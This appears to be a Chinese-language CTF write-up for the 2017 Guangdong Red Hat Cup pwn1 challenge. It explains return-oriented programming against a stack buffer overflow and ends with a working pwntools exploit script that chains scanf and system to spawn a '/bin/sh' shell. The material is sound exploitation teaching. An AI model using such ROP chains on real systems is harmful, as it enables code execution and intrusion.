【pwn學習】簡單ROP練習之2017廣東紅帽杯pwn1
原標題:2017廣東紅帽杯pwn1_writeup:簡單ROP
先來正能量一波:作為一個一直沒入門pwn的小菜鳥,這一段時間一直被學弟按在地上摩擦很不爽很不爽~~~~~~~~
------------------------------------------------------------------------------------
先給出幾個學習連結:
論文:
Return-Oriented-Programming(ROP FTW) By Saif El-Sherei
拿到一個pwn題時,第一反應是開了哪些保護:checksec檢查一下
NX enabled是開啟了棧不可執行,這時ROP就有應用空間了
ROP是要非常非常熟悉棧結構的:首先構造緩衝區溢位,然後控制eip就控制了程式流程,然後一般的rop是這樣構造的:
【Address of pop eax,ret gadget】
【data】
【Address of next gadget】
……
我的理解是:ROP是構造了一條程式碼執行鏈的跳轉過程,這個鏈呼叫執行了多個函式,一般以執行system(‘/bin/sh’)為目的(簡單題都是這樣)
在控制函式跳轉的時候,我們要關注的是兩個問題:A。函式的引數怎麼安排地方。B。這個函式執行完了之後,下個函式怎麼去執行
這個題是控制了scanf+system
很明顯的緩衝區溢位,gdb除錯可以知道輸入52個字元之後,可以控制程式流程
先給出思路:
我們利用scanf函式,首先執行函式scanf(“%s”,bss段),這樣我們可以輸入/bin/sh放到bss段裡,然後再執行system(bss段),相當於執行了system("/bin/sh")
那麼我們需要知道:scanf地址,system地址,bss段基址,%s格式化字串的地址
ROP怎麼用的呢?根據函式執行鏈來使用,先執行的是scanf的地址,下一條指令需要是我們的返回地址,即我們需要跳轉到的地址:我們需要跳轉到system的地址,也就是跳過system的兩個引數,那麼需要安排pop pop ret,system道理同樣
那麼ROP的佈局如下:
【system_addr】+【pop_pop_ret(在執行完一個函式之後,跳過引數去往下一個需要執行的函式的地方)】+【%s地址】+【bss段基址】(這裡兩個是scanf的引數,在執行完畢scanf後,這兩個值會被pop掉,然後ret執行的是下一個地址,我們這裡安排的是system的地址)+【system地址】+【‘aaaa’】(任意四個位元組作為返回地址)+【bss段基址】
然後就是除錯過程,如何找到這些地址
(1)got和plt的區別:IDA裡有兩個system和兩個scanf的值,用哪一個。涉及到linux延時繫結的原理:用plt
(2)bss段基址:readelf -S pwn1
pop pop ret的地址我們需要用ROPgadget工具來找
ROPgadget --binary pwn1 --only "pop|pop|ret"
然後就把對應地址填上去就好了
關於如何除錯:直接gdb除錯程式不太好,很容易出現本機弄好了伺服器上不對的情況
更好的方式是採取除錯py程式碼,gdb掛載的方式:即在python程式碼中需要除錯的地方寫上gdb.attach(io)
ROP的除錯主要是找到緩衝區溢位處的ret,然後檢視棧記憶體的佈局
首先單步執行到程式緩衝區溢位的地方的ret指令處,下一步就是我們可以控制的流程,檢視棧記憶體
ret的地方,前7個都是我寫進去的,說明搞對了咯
py程式碼:
- from pwn import *
- io = process('./pwn1')
- io.recvline()
- elf = ELF('./pwn1')
- plt_scanf = 0x08048410
- plt_system = 0x080483E0
- pop_pop_ret = 0x080485EE
- bss_addr = 0x0804A040
- format_s_addr = 0x08048629
- payload = p32(plt_scanf)
- payload += p32(pop_pop_ret)
- payload += p32(format_s_addr)
- payload += p32(bss_addr)
- payload += p32(plt_system)
- payload += "aaaa"
- payload += p32(bss_addr)
- gdb.attach(io)
- io.sendline("A" * 52 + payload)
- io.sendline('/bin/sh')
- io.interactive()